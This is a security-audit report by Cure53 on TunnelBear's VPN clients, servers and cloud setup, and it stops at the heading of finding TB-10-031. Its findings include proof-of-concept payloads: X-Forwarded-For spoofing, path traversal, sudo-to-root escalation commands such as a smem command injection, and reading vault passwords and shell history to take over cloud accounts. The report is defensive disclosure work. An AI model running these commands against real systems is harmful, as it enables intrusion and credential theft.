**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

# Pentest-Report TunnelBear VPN 10.-11.2022

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. S. Moritz, Dipl.-Ing. A. Inführ, M. Elrod, J. Larsson, E. Damej

## Index

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

## Introduction

*"TunnelBear respects your privacy. We will never monitor, log, or sell any of your browsing activity. As the only VPN in the industry to perform annual, independent security audits, you can trust us to keep your connection secure."*

From https://www.tunnelbear.com/

This report - entitled TB-10 - details the scope, results, and conclusory summaries of a penetration test, configuration review, and source code audit against the TunnelBear VPN software and servers. A specific focus was placed on the TunnelBear client apps; VPN infrastructure; TunnelBear and PolarBear backend; frontend and public sites; AWS infrastructure; Overseer; Geneva; plus FilterPods and Boringtun.

The work was requested by McAfee ULC in May 2022 and initiated by Cure53 in October and November 2022, namely from CW41 to CW45. A total of forty-two days were invested to reach the coverage expected for this project.

The testing conducted for this audit was divided into eight distinct Work Packages (WPs) for ease of execution, as follows:

- **WP1**: Tests against TunnelBear client apps
- **WP2**: Tests against TunnelBear VPN infrastructure
- **WP3**: Tests against TunnelBear and PolarBear backend
- **WP4**: Tests against TunnelBear frontend and public sites
- **WP5**: Tests against TunnelBear AWS infrastructure
- **WP6**: Tests against TunnelBear Overseer
- **WP7**: Tests against TunnelBear Geneva
- **WP8**: Tests against TunnelBear FilterPods and Boringtun

In context, this engagement marks the tenth collaboration between TunnelBear and Cure53. The aspects and components under scrutiny here have already been subject to security examination in multiple previous assessments, including during testing in November 2021 (TB-09) and October 2020 (TB-08).

Cure53 was provided with sources, URLs, VPN access, and any alternative means of access and information required to ensure a smooth audit completion. For this purpose, the methodology chosen was white box and a team comprising seven senior testers was assigned to the project's preparation, execution, and finalization.

Most preparatory actions were completed in October 2022, namely in CW41, with some additions made during the active testing phase. This helped to ensure that the review could proceed without hindrance or delay.

Communications were facilitated via a dedicated, shared Slack channel deployed to combine the workspaces of TunnelBear and Cure53, thereby creating an optimal collaborative working environment. All participatory personnel from both parties were invited to partake throughout the test preparations and discussions. In light of this, communications proceeded smoothly on the whole. The scope was well-prepared and transparent, no noteworthy roadblocks were encountered throughout testing, and cross-team queries remained minimal as a result. The TunnelBear team delivered excellent test preparation and assisted the Cure53 team in every respect to procure maximum coverage and depth levels for this exercise.

Cure53 gave frequent status updates concerning the test and any related findings, whilst simultaneously offering prompt queries and receiving efficient, effective answers from the maintainers. Live reporting was offered, subsequently requested late into the test, then conducted by posting the finished tickets into the issue tracker provided by TunnelBear.

Concerning the findings, the Cure53 team achieved excellent coverage over the WP1 through WP8 scope items, detecting a total of thirty-two. Fifteen of the findings were categorized as security vulnerabilities, whilst the remaining seventeen were deemed general weaknesses exhibiting minor exploitation potential. Even though the scope of this assignment was relatively broad and offered many attack surfaces, the overall yield of findings is still considerably high, garnering some cause for concern regarding the overall security offering of the inspected TunnelBear aspects and components. The fact that two *Critical* ranked vulnerabilities and eight *High* severity issues were unveiled during this assessment compounds this worrisome viewpoint.

Nevertheless, Cure53 positively acknowledges that one of the *Critical* severity findings (see TB-10-001) has been correctly addressed and resolved by the TunnelBear team during active testing. However, one can strongly recommend applying the same due diligence to the second *Critical* finding. This should be resolved with utmost priority since it pertains to a full Ansible Vault secrets disclosure (see TB-10-027).

In conclusion, the testing team observed ample leeway for hardening improvement. The TunnelBear team should allocate extensive time and resources toward strengthening the inspected aspects and components in order to elevate the security framework in question to a first-rate standard.

The report will now shed more light on the scope and testing setup as well as provide a comprehensive breakdown of the available materials. Subsequently, the report will list all findings identified in chronological order, starting with the detected vulnerabilities and followed by the general weaknesses unearthed. Each finding will be accompanied by a technical description and Proof of Concepts (PoCs) where applicable, plus any relevant mitigatory or preventative advice to action.

In summation, the report will finalize with a conclusion in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the various TunnelBear VPN software and servers in focus, giving high-level hardening advice where applicable.

## Scope

- **Penetration Tests & Security Assessments against TunnelBear VPN Software & Servers**
  - **WP1**: Tests against TunnelBear Client Apps (Code Audit & Pentest)
    - **macOS:**
      - **Application:**
        - https://s3.amazonaws.com/tunnelbear/downloads/mac/TunnelBear.zip
      - **Repositories:**
        - *tunnelbear-apple*
        - *tunnelbear-apple-openvpn*
        - *tunnelbear-apple-dependencies*
    - **iOS:**
      - **Application:**
        - https://apps.apple.com/us/app/tunnelbear-secure-vpn-wifi/id56484228
      - **Repositories:**
        - *tunnelbear-apple*
        - *tunnelbear-apple-openvpn*
        - *tunnelbear-apple-dependencies*
    - **Android:**
      - **Application:**
        - https://play.google.com/store/apps/details?id=com.tunnelbear.android
      - **Repositories:**
        - *tbear-android*
        - *polarbear-android*
        - *tb-vpn-android*
    - **Windows:**
      - **Application:**
        - https://tunnelbear.s3.amazonaws.com/downloads/pc/TunnelBear-Installer.exe
      - **Repositories:**
        - *tunnelbear-windows*
        - *polarbear-windows*
  - **WP2**: Tests against TunnelBear VPN Infrastructure (Pentest/Config Review)
    - **VPN Servers:**
      - 136.244.117.175
      - 167.99.233.33
      - 167.99.89.8
      - 167.172.80.160
      - 167.172.80.161

- **Repositories:**
  - *opscode*
  - *serverApi*
  - *deploy*
  - *timescale-forwarder*
  - *tunnelbear-web-proxy*
- **WP3**: Tests against TunnelBear & PolarBear Backend (Code Audit)
  - **Repositories:**
    - *backend*
    - *polarbackend*
- **WP4**: Tests against TunnelBear Frontend & Public Sites (Pentest & Audit)
  - **URLs:**
    - https://www.tunnelbear.com
    - https://www.tunnelbear.com/teams
    - https://www.tunnelbear.com/whats-my-ip
  - **Repositories:**
    - *web-tb-com*
    - *web-tb-landing*
    - *web-bearsMyIP-v2-Vue*
    - *web-tb-teams*
    - *tbear-password-reset*
- **WP5**: Tests against TunnelBear AWS Infrastructure (Config Review & Audit)
  - **Repositories:**
    - *polarbackend*
    - *backend*
    - *tbearCore*
    - *tbearDashboard2*
    - *tbearPayment*
    - *tunneloverseer*
    - *serverApi*
    - *tundra*
    - *tf-module-logdna-router*
    - *tf-module-read-secrets*
    - *tf-module-vmf-proxy*
    - *tf-module-app-server*
    - *tf-module-load-balancer*
    - *tf-module-network-load-balancer*
    - *tf-module-ec2-app-server*
    - *tf-module-cloudflare-route-redirection*

- **WP6**: Tests against TunnelBear Overseer (Code Audit & Pentest)
  - **URLs:**
    - https://staging.tunneloverseer.com
    - https://staging.tunneloverseer.com/v1/public/ips
  - **Repository:**
    - *TunnelOverseer*
- **WP7**: Tests against TunnelBear Geneva (Code Audit)
  - **Repository:**
    - *geneva*
- **WP8**: Tests against TunnelBear FilterPods & Boringtun (Code Audit & Pentest)
  - **VPN Servers:**
    - 136.244.117.175
    - 167.99.233.33
    - 167.99.89.8
    - 167.172.80.160
    - 167.172.80.161
  - **Repository:**
    - *boringtun-tunnelbear*
    - *filterpod-client-api-pass-through*
    - *filterpod-dnsproxy*
    - *filterpod-frontend-api-tunnelbear*
    - *filterpod-blockpage-feature-analytics-MOBA-3909*
    - *filterpod-s3-task-scheduler-auth*
    - *mms-sb-redirector-ys-httpclient-keepalive*
- **Test-supporting material was shared with Cure53**
- **All relevant sources were made available**
- **Cure53 was granted access to the client's issue tracker**
- **Testable application binaries were provided**

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

## Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified throughout the testing period. Please note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is given in brackets following the title heading for each vulnerability. Furthermore, each vulnerability is given a unique identifier (e.g. *TB-10-001*) to facilitate any future follow-up correspondence.

### TB-10-001 WP4: Subdomain Takeover on *blog.tunnelbear.com* Domain (***Critical***)

***Fix Note:*** *This issue was mitigated by TunnelBear and fix-verified by Cure53.*

Whilst enumerating TunnelBear's exposed services, the discovery was made that the *blog.tunnelbear.com* subdomain was not configured properly. Rather than displaying a working blog page, the user is redirected to *https://error.ghost.org* and offered a *"Failed to resolve DNS path for this host"* error message. Since this error raises suspicion regarding subdomain takeovers, the issue was further investigated with a Ghost[1] account created specifically for these means.

Since TunnelBear already utilizes the Ghost service, an additional verification of the domain was not required. As a result, a newly-created page was successfully pointed to the unlinked subdomain *blog.tunnelbear.com*. This facilitates the risk of hosting malicious content on the trustworthy *blog.tunnelbear.com* domain and may be leveraged for imaginative phishing attacks, defacement, or instigating attacks against other subdomains via XSS.

**Affected request:**
```
GET / HTTP/2
Host: blog.tunnelbear.com
[...]
```

**Redirect:**
```
HTTP/2 302 Found
Location: https://error.ghost.org/
```

**Response:**
```
<div class="content">
   <h1>Domain error</h1>
   <h2>Failed to resolve DNS path for this host</h2>
</div>
```

[1] https://ghost.org/

The following PoC highlights content added by Cure53 after the Ghost page was successfully linked to the affected domain.

**PoC URL:**
*https://blog.tunnelbear.com/*

The following PoC demonstrates the method by which JavaScript can be executed within the domain origin.

**PoC URL with XSS:**
*https://blog.tunnelbear.com/xss/*

**Steps to reproduce:**
1. Create a new pro trial account on *https://ghost.io*.
2. Create a sample page.
3. Click *Ghost (Pro)* and enter *blog.tunnelbear.com* in the *Domain* field.
4. Click the button below to activate the custom domain name.
5. Observe that the page is available on the set domain after approximately 20 minutes.

To mitigate this issue, Cure53 strongly recommends introducing an additional verification step that regularly checks available subdomains for incorrect entries of related DNS errors. If incorrect entries occur, they should be removed or the hostname should be re-registered with the connected service accordingly. In general, checks of this nature should be performed regularly when using external services. Moreover, one can advise implementing an additional check within the Ghost service itself. By doing so, newly-created Ghost accounts should not be able to link to pre-verified domains belonging to other Ghost customers.

## TB-10-006 WP3: Information Disclosure via Spoofed XFF Header Lookups *(Low)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst testing the API endpoints connected to the mobile applications, the discovery was made that the backend application suffers from an information disclosure issue. The mobile apps are configured to send requests to the API host *api.tunnelbear.com* and also to the execution API on *8tiodxhk8a.execute-api.us-east-1.amazonaws.com* directly, with both primarily pointing to the same backend.

However, in the eventuality requests are sent to the AWS execution API, the IP address can be spoofed by setting one's own content within the *X-Forwarded-For* header. If leveraged in tandem with the information returned from the requested location - for example, if *isVPNConnected* constitutes *true* - attackers will be able to determine whether a user's publicly-known IP belongs to the TunnelBear VPN. This behavior may also prove useful toward enumerating TunnelBear address spaces with greater efficiency.

**Affected file:**
*backend/tbearCore/app/controllers/client_api/LocationController.scala*

**Affected code:**
```
def getLocation =
   TokenAction.async { implicit request =>
      ReqUtils.getClientIp(request) match {
         case Right(ip) => {
            LocationUtils
            .getIpLocation(ip)
            .map { loc =>
               for {
                  isVpnConnected <- overseerApiService.getVpnByIp(ip)
[...]
```

**Affected file:**
*backend/tbearDashboard2/app/utils/ReqUtils.scala*

**Affected code:**
```
val AmazonGatewayConnectionHeader = "aws-connection" // Contains re-mapped
information from X-Forwarded-For
[...]
private def getClientIpFromAws(requestHeader: RequestHeader):
Option[Either[String, String]] = {
   requestHeader.headers.get(AmazonGatewayConnectionHeader).map { awsConnection
=>
```

```
          val awsIps = awsConnection.split(", ")
          if (awsIps.length == 0 || awsIps(0).isEmpty) {
             [...]
          } else Right(awsIps(0))
        }
    }
```

The following PoC demonstrates the method by which content can be received for the *103.43.75.99* IP.

**PoC request:**

```
GET /prod/v2/location HTTP/2
Host: 8tiodxhk8a.execute-api.us-east-1.amazonaws.com
X-Forwarded-For: 103.43.75.99
Authorization: Bearer [...]
```

**Response:**

```
HTTP/2 200 OK
[...]

{"city":"Alexandria","country":"Australia","countryISO":"AU","lat":-
33.908,"lon":151.19,"isVPNConnected":true}
```

The following code snippet demonstrates the method by which the application can be forced to perform DNS lookups via *InetAddress.getByName()* if hostnames are sent via the XFF header.

**Affected file:**
*backend/tbearDashboard2/app/utils/LocationUtils.scala*

**Affected code:**

```
def getIpLocation(ip: String): Option[CityResponse] = {
   val tryCity = for {
      ipAddress <- Try(InetAddress.getByName(ip))
[...]
```

**PoC request:**

```
GET /prod/v2/location HTTP/2
Host: 8tiodxhk8a.execute-api.us-east-1.amazonaws.com
X-Forwarded-For: z443jzdezsko1zfjduvpgsznaeg44t.oastify.com
Authorization: Bearer [...]
```

**Response:**
```
The Collaborator server received a DNS lookup of type AAAA for the domain name
z443jzdezsko1zfjduvpgsznaeg44t.oastify.com.  The lookup was received from IP
address 35.183.38.62 at 2022-Oct-20 08:06:26 UTC.
```

To mitigate this issue, Cure53 advises only processing content from the *X-Forwarded-For* header within an adequate proxy setup. By doing so, the backend application should only be accessible via the *api.tunnelbear.com* proxy. Moreover, one can recommend implementing an additional validation to only allow valid IP addresses, which would prevent DNS resolution in general.

## TB-10-007 WP3: Targeted DoS & Password Brute Force via XFF Header *(Medium)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that *X-Forwarded-For* header spoofing can be exploited by an attacker to instigate a DoS for a targeted IP address. This can be achieved by sending a number of unauthorized requests with the header set to the victim's IP address, which would force the TunnelBear API services to block the victim IP address with a *429 Too Many Requests* error.

**PoC request:**
```
POST /prod/v2/token HTTP/2
Host: e105l6mnx3.execute-api.eu-west-3.amazonaws.com
[...]
X-Forwarded-For: <victim-ip>
Content-Length: 133

{"username":"attacker@example.com","password":"wrong_password","device":"0000000
0-0000-0000-0000-000000000000","grant_type":"password"}
```

**Response:**
```
HTTP/2 429
[...]

{"error_code":10007,"error_message":"Please try again later.","error_info":"IP
limit reached","error_id":1061773910}
```

In this regard, the victim's API requests will receive *429 HTTP* error codes, since the server implements a maximum request limit for the victim's IP.

Testing also confirmed that setting the *X-Forwarded-For* header to *127.0.0.1* allows any would-be attacker to brute force passwords without being blocked by the rate-limiting filter.

**PoC request:**
```
POST /prod/v2/token HTTP/2
Host: e105l6mnx3.execute-api.eu-west-3.amazonaws.com
[...]
X-Forwarded-For: 127.0.0.1
Content-Length: 127

{"username":"victim@example.com","password":"passw0rd","device":"00000000-0000-
0000-0000-000000000000","grant_type":"password"}
```

**Response:**
```
HTTP/2 401 Unauthorized
[...]
{"error_code":10001,"error_message":"We can't seem to find that email and
password combination, try another?","error_id":512616680}
```

To provide the TunnelBear API with a sanitized IP value for the client request, Cure53 strongly advises removing the header *X-Forwarded-For* at proxy level before populating it with the client IP.

When utilizing the AWS Elastic Load Balancer, XFF can be used in Preserve Mode. However, the API should read the last IP in the XFF header, since this constitutes the IP actually appended by AWS ELB.

## TB-10-010 WP3: Path Traversal Via Elasticsearch Document Saving *(Low)*

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that the *ClientEventsController* is vulnerable to path traversal when saving client events to the Elasticsearch database. The API uses the *type* field provided in the event message for constructing the Elasticsearch document URL, as indicated in the code snippet offered below. This behavior enables an attacker to save documents at arbitrary Elasticsearch database indices.

The following code snippet demonstrates how one can store the *pentest-doc* document under the *cure53* index within the Elasticsearch database.

**Affected code:**
```
def post(index: String, message_type: String, body: JsObject):
Future[WSResponse] = {
    val mode = if (EnvUtils.isTesting) "testing" else if (EnvUtils.isProduction)
"production" else "staging"
    val send = body + ("mode" -> JsString(mode))
    val url = s"$EndpointUrl/$index/$message_type"
[...]

def receive = {

  case Run => {
    import scala.collection.JavaConverters._
    for {
      enableElasticSearch <- gss.get(gss.EnableElasticSearchClientEvents, true)
    } yield {
      val messages = clientEventElasticSearchService.messages.asScala.toList
      messages.foreach { message =>
        if (enableElasticSearch) {
          clientEventElasticSearchService.post(
            rolling_index(DateTime.now()),
message.value.get("type").map(_.as[JsString].value).getOrElse("client_event"),
            message)
        }
[...]
```

**Affected request:**

```
POST /prod/v2/events/add HTTP/2
Host: e105l6mnx3.execute-api.eu-west-3.amazonaws.com

[
 {
  "type": "../cure53/pentest-doc",
  "date": "1667464287956",
  [...]
 }
]
```

To mitigate this issue, Cure53 recommends validating the *type* field against a list of acceptable values before injecting its value into the Elasticsearch URL.

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

## TB-10-017 WP2: Local Privilege Escalation From *dnsproxy* to *root* (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst analyzing the *sudo* configuration on the VPN servers, several local privilege escalation vulnerabilities were discovered. The exploitable *sudo* rules allow unprivileged users to execute a certain program as *root*. Under specific user-controlled parameters, this program can in turn be coerced into initiating another process - such as shell as *root* user - thereby granting the calling user full system privileges. Notably, the *sudo* rules configured lack any password requirement.

**Example affected host:**
*vpn-20180905-staging-as165439443697*

**Affected file:**
*/etc/sudoers.d/99-dnsproxy*

**Affected code:**
```
Cmnd_Alias DNSPROXY_IP = /sbin/ip
Defaults!DNSPROXY_IP !syslog, !pam_session
dnsproxy  ALL=DNSPROXY_IP, NOPASSWD:DNSPROXY_IP
```

**PoC:**
```
root@vpn-20180905-staging-as165439443697:/tmp/lpe# sudo su dnsproxy -s /bin/bash
dnsproxy@vpn-20180905-staging-as165439443697:/tmp/lpe$ id
uid=990(dnsproxy) gid=990(dnsproxy) groups=990(dnsproxy)

dnsproxy@vpn-20180905-staging-as165439443697:/tmp/lpe$ sudo ip netns add foo
dnsproxy@vpn-20180905-staging-as165439443697:/tmp/lpe$ sudo ip netns exec \
    /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
```

To mitigate this issue, Cure53 recommends configuring *sudo* to only allow commands deemed absolutely necessary for user functionality. This will prevent any abuse facilitated by calling unintended sub-commands from the permitted command. Pertinently, this restriction has been correctly implemented for other *sudo* commands on the same server with the wrapper script, including for */usr/local/sbin/ip_wrapper*. Comprehensive protection of these *sudo* calls should be considered particularly crucial for rules that set the *nopasswd* option.

## TB-10-018 WP2: Local Privilege Escalation From *diamond* User to *root* (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst analyzing the *sudo* configuration on the VPN servers, several local privilege escalation vulnerabilities were discovered. The exploitable *sudo* rules allow unprivileged users to execute a certain program as *root*. Under specific user-controlled parameters, this program can in turn be coerced into initiating another process - such as shell as *root* user - thereby granting the calling user full system privileges. Notably, the *sudo* rules configured lack any password requirement.

**Affected host:**
*vpn-20180905-staging-as165439443697*

**Affected file:**
*/etc/sudoers.d/99-diamond*

**Affected code:**
```
Cmnd_Alias DIAMOND_PIDSTAT = /usr/local/sbin/diamond_pidstat_wrapper
Defaults!DIAMOND_PIDSTAT !syslog, !pam_session
diamond  ALL=DIAMOND_PIDSTAT, NOPASSWD:DIAMOND_PIDSTAT
```

**Affected file:**
```
/usr/local/sbin/diamond_pidstat_wrapper
```

**Affected code:**
```
#!/bin/bash
PIDSTAT=$(which pidstat)
procs=$1
printf "$($PIDSTAT -h -H -C ${procs} | \
  grep ^[0-9] | \
  sed 's/\.py//g' | \
  sed 's/\/[0-9]//g' | \
  sed '/^$/d')\n"
```

**PoC:**
```
diamond@vpn-20180905-staging-as165439443697:/etc/sudoers.d$ id
uid=994(diamond) gid=994(diamond) groups=994(diamond),1018(ansible)

diamond@vpn-20180905-staging-as165439443697:/etc/sudoers.d$ sudo
/usr/local/sbin/diamond_pidstat_wrapper ' fooo -e touch /tmp/PWNED '

diamond@vpn-20180905-staging-as165439443697:/etc/sudoers.d$ ls -alh /tmp/PWNED
-rw-r----- 1 root root 0 Nov  7 15:18 /tmp/PWNED
```

To mitigate this issue, Cure53 recommends configuring *sudo* to only allow commands deemed absolutely necessary for user functionality. This will prevent any abuse facilitated by calling unintended sub-commands from the permitted command. Pertinently, this restriction has been correctly implemented for other *sudo* commands on the same server with the wrapper script, including for */usr/local/sbin/ip_wrapper*. Comprehensive protection of these *sudo* calls should be considered particularly crucial for rules that set the *nopasswd* option.

## TB-10-019 WP5: Unrestricted Access via HTTP Forward Proxy (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Testing confirmed that the TunnelBear HTTP proxy does not impose any restrictions on access to private and local networks. As a result, an attacker can gain unrestricted access to HTTP servers located within the proxy's local network, including its loopback interface.

**PoC request:**
```
GET http://127.0.0.1:8123 HTTP/1.1
Host: 127.0.0.1:8123
Proxy-Authorization: Basic [...]
User-Agent: curl/7.81.0
Accept: */*
Proxy-Connection: Keep-Alive
```

**PoC response:**
```
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/xml
Date: Tue, 08 Nov 2022 11:31:14 GMT
Expires: Tue, 08 Nov 2022 11:31:14 GMT
Last-Modified: Tue, 08 Nov 2022 11:31:14 GMT
Pragma: no-cache
Server: libisc
Transfer-Encoding: chunked

f07
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/bind9.xsl"?>
<statistics version="3.8"><server><boot-time>
[...]
```

**Dr.-Ing. Mario Heiderich, Cure53**
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

To mitigate this issue, since an attacker can manage their domains' DNS server, Cure53 strongly advises blocking access to domains that resolve into local and private addresses as well as direct access to local and private networks via the proxy, as described in the previous request.

## TB-10-020 WP2: Local Privilege Escalation From *diamond* to *root* via *smem* (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst analyzing the *sudo* configuration on the VPN servers, several local privilege escalation vulnerabilities were discovered. The exploitable *sudo* rules allow unprivileged users to execute a certain program as *root*. Under specific user-controlled parameters, this program can in turn be coerced into initiating another process such as shell as *root* user, thereby granting the calling user full system privileges. Notably, the *sudo* rules configured lack any password requirement.

This vulnerability is persisted due to a system-command injection vulnerability in *smem*[2] that was discovered during the TunnelBear audit.

**Example affected host:**
*vpn-20180905-staging-as165439443697*

**Affected file:**
*/etc/sudoers.d/99-diamond*

**Affected code:**
```
Cmnd_Alias DIAMOND_SMEM = /usr/bin/smem
Defaults!DIAMOND_SMEM !syslog, !pam_session
diamond  ALL=DIAMOND_SMEM, NOPASSWD:DIAMOND_SMEM
```

**Affected file:**
*/usr/bin/smem*

**Affected code:**
```
[...]
def kernelsize():
    global _kernelsize
    if not _kernelsize and options.kernel:
        try:
            sys.exit()
            d = os.popen("size %s" % options.kernel).readlines()[1]
            _kernelsize = int(d.split()[3]) / 1024
```

[2] https://www.selenic.com/smem/

**PoC:**
```
root@vpn-20180905-staging-as165439443697:/etc/sudoers.d# sudo su diamond -s
/bin/bash
diamond@vpn-20180905-staging-as165439443697:/etc/sudoers.d$ id
uid=994(diamond) gid=994(diamond) groups=994(diamond),1012(ansible)

diamond@vpn-20180905-staging-as165439443697:/etc/sudoers.d$ sudo smem -w -K
'`bash`'
root@vpn-20180905-staging-as165439443697:/etc/sudoers.d# id
uid=0(root) gid=0(root) groups=0(root)
```

To mitigate this issue, Cure53 recommends configuring *sudo* to only allow commands deemed absolutely necessary for user functionality and contacting the vendor to ensure the *smem* script is fixed upstream. This will prevent any abuse facilitated by calling unintended sub-commands from the permitted command. Notably, this restriction has been correctly implemented for other *sudo* commands on the same server with the wrapper script, including for */usr/local/sbin/ip_wrapper*. Comprehensive protection of these *sudo* calls should be considered particularly crucial for rules that set the *nopasswd* option.

### TB-10-021 WP2: Credentials Exposed via *root .bash_history* (*Low*)

Whilst evaluating the VPN server, a persisting fragment of the server's bootstrap process was detected by reading the shell history. Whilst this should not be considered a security issue in isolation, it remains a prime example of the importance of solid defense-in-depth concept construction and maintenance throughout the infrastructure, particularly within a cloud topology. The LPE vulnerabilities addressed within tickets TB-10-017, TB-10-018, and TB-10-020 further illustrate post-exploitation paths that would facilitate access to the aforementioned shell history.

**PoC:**
```
cat /root/.bash_history | grep token -C 5
curl -X "POST" "https://staging.polargrizzly.com/data/update" -H 'vpn-auth: 
Tn2q1n[redacted]jDt48a8ie' -H 'Content-Type: application/json' -H 'Cookie: 
__cfduid=db899ff44f4e65a3bdfac2a8812ccbf7c1534266789' -d $'{
  "updates": [
    {
      "token": "PB-b9107[redacted]1ba5beb4",
      "data": {
        "total": 100,
        "up": 50,
        "down": 50
}}],
```

To mitigate this issue, Cure53 recommends ensuring that credentials are not leaked into the shell history. Any leaked credentials could easily be leveraged by an attacker, thus compromising the integrity of the entire system. The system should be configured to omit or regularly purge shell history to comprehensively prevent a credential leak of this nature in the future.

## TB-10-027 WP2: Full Disclosure of All Ansible Vault Secrets on Server (*Critical*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Analysis of the VPN servers included additional scrutiny of the build and setup scripts found on the filesystem. In this process, a file containing the clear-text password for the Ansible Vault was detected. Additionally, many files encrypted with this password were present, which subsequently facilitates reading all secrets from the Ansible repository. These could then be leveraged to instigate a number of attack scenarios, as stipulated in the tickets offered below.

**Example host:**
*vpn-20220512-staging-as154508013930*

**Clear-text password file:**
*/var/lib/ansible/vault_pass.txt*

**PoC:**
```
root@vpn-20220512-staging-as154508013930:~# cat /var/lib/ansible/vault_pass.txt
k[redacted]T

root@vpn-20220512-staging-as154508013930:~# ansible-vault view \
    --vault-password=/var/lib/ansible/vault_pass.txt \
    /var/lib/ansible/local/playbooks/roles/mariadb/vars/piwik.yml
---
DB_NAME: piwik
DB_USER: piwik
DB_PASS: M[redacted]i
[...]
```

Generally speaking, Ansible Vault passwords should never be stored on a deployed server. Writing these files to disk externally of highly-secured and trusted machines should be considered dangerous and defeats the Ansible Vault's essential design purpose.[3] The Ansible Vault password must only reside on the machine calling the Ansible scripts, not on the server that Ansible deploys software.

[3] https://docs.ansible.com/ansible/latest/user_guide/vault.html#id1

### TB-10-028 WP5: Digital Ocean Cloud Account Compromise via Server (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst exploring the impact incurred by ticket TB-10-027, the observation was made that an attacker can gain full control over the Digital Ocean cloud account. The API token was taken from the Bamboo Ansible playbook. Note that while the exact impact of this vulnerability would appear to be extensive and far-reaching, the testing team did not allocate it additional review capacity since it was deemed out of scope.

**PoC:**
```
export DO_TOKEN="9[redacted]c"
curl -X GET "https://api.digitalocean.com/v2/account/keys" \
    -H "Authorization: Bearer $DO_TOKEN"

{
  "ssh_keys": [
    {
      "id": 34439674,
      "public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1N... phil@tunnelbear.com",
      "name": "phil's key",
      "fingerprint": "7a:62:17:a4:98:0e:e8:27:ae:8c:ff:50:97:bd:0d:d3"
    },
[...]
```

To mitigate this issue, Cure53 advises ensuring that pertinent secrets such as API keys to cloud providers are handled with the utmost care and deliberation. Additionally, one can recommend always adhering to the principle of least privilege. In this case, this would mean implementing multiple tiers of API access. Giving the Bamboo server only permissions deemed absolutely necessary would integrate another layer of security, thereby further negating the potential fallout of a compromised API key.

### TB-10-029 WP5: Full Vultr Cloud Account Compromise via Server (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

Whilst determining the impact of the issue detailed in ticket TB-10-027, the observation was made that an attacker can gain full control over the Vultr cloud account. Notably, the API token is retrievable from the Bamboo Ansible playbook. Whilst the exact impact of this vulnerability would appear extensive and far-reaching, the testing team did not explore it further as it was deemed out of scope.

Notably, whilst the username reflected from Vultr would suggest that this SaaS account is for staging purposes, a comparison against TunnelBear's production IPs suggests otherwise.

**PoC:**
```
export VULTR_API_KEY="i[redacted]e"
curl "https://api.vultr.com/v2/account" -X GET \
    -H "Authorization: Bearer ${VULTR_API_KEY}" | jq .
{
  "account": {
    "balance": 25795.68,
    "pending_charges": 6428.04,
    "name": "Developer Bear",
    "email": "providers@tunnelbear.com",
    "acls": [
      "manage_users",
      "subscriptions_view",
      "subscriptions",
      "billing",
      "support",
      "provisioning",
      "dns",
      "abuse",
      "upgrade",
      "firewall",
      "alerts",
      "objstore",
      "loadbalancer",
      "vke"
    ],
    "last_payment_date": "2022-10-06T00:00:00-04:00",
    "last_payment_amount": -19233.76
  }
}
```

To mitigate this issue, Cure53 advises ensuring that pertinent secrets such as API keys to cloud providers are handled with utmost care and deliberation. Additionally, one can recommend always adhering to the principle of least privilege. In this case, this would mean implementing multiple tiers of API access. Giving the Bamboo server only permissions deemed absolutely necessary to essential functionality would integrate another layer of security, thereby further negating the potential fallout of a compromised API key.

## TB-10-030 WP2: HTTP Forward Proxy DoS *(Medium)*

Testing confirmed that the web proxy suffers from a DoS, since an attacker can force the proxy to enter a state whereby clients can no longer be served. The root cause of this issue pertains to how the server handles multithreading and mutex locking. The *connectionAuthenticator* function described below obtains a read lock in order to clean connections from the open connections map, but fails to close the connection due to the fact that a filled channel can block the cleaning thread. As a result, this will never reach the code part that unlocks the mutex.

**Affected file:**
*tunnelbear-web-proxy/connections.go*

**Affected code:**
```
// Go through active connections and tag those which are no longer
authenticated.
func connectionAuthenticator() {
	for {
		time.Sleep(time.Second * 5)
		conns.RLock()
		for connection, _ := range conns.Open {
			if !isCacheAuthenticated(connection.getUsername(), "", true)
{
				connection.Close()
			}
		}
		conns.RUnlock()
	}
}
```

**Affected file:**
*tunnelbear-web-proxy/wrappers.go*

**Affected code:**
```
func (c *HttpBodyWrapper) Close() error {
	c.closeChannel <- c
	return c.R.Close()
}
```

The web proxy also suffers from multithreaded DoS attacks whereby the attacker would open multiple sockets with the server and then slowly send small packets of valid requests to persist the connection, thereby blocking any legitimate client from sending requests to the server.

Whilst ensuring sufficient *closeChannel* configuration to support the maximum number of connection close requests is considered important, Cure53 also advises blocking a single user from creating thousands of connections to a single proxy node and exhausting its TCP sockets, which would render an out of service situation.

## TB-10-031 WP5: Multiple AWS Cloud Account Compromise via Server (*High*)

***Fix Note**: This issue was fixed by TunnelBear and the fix was verified by Cure53.*

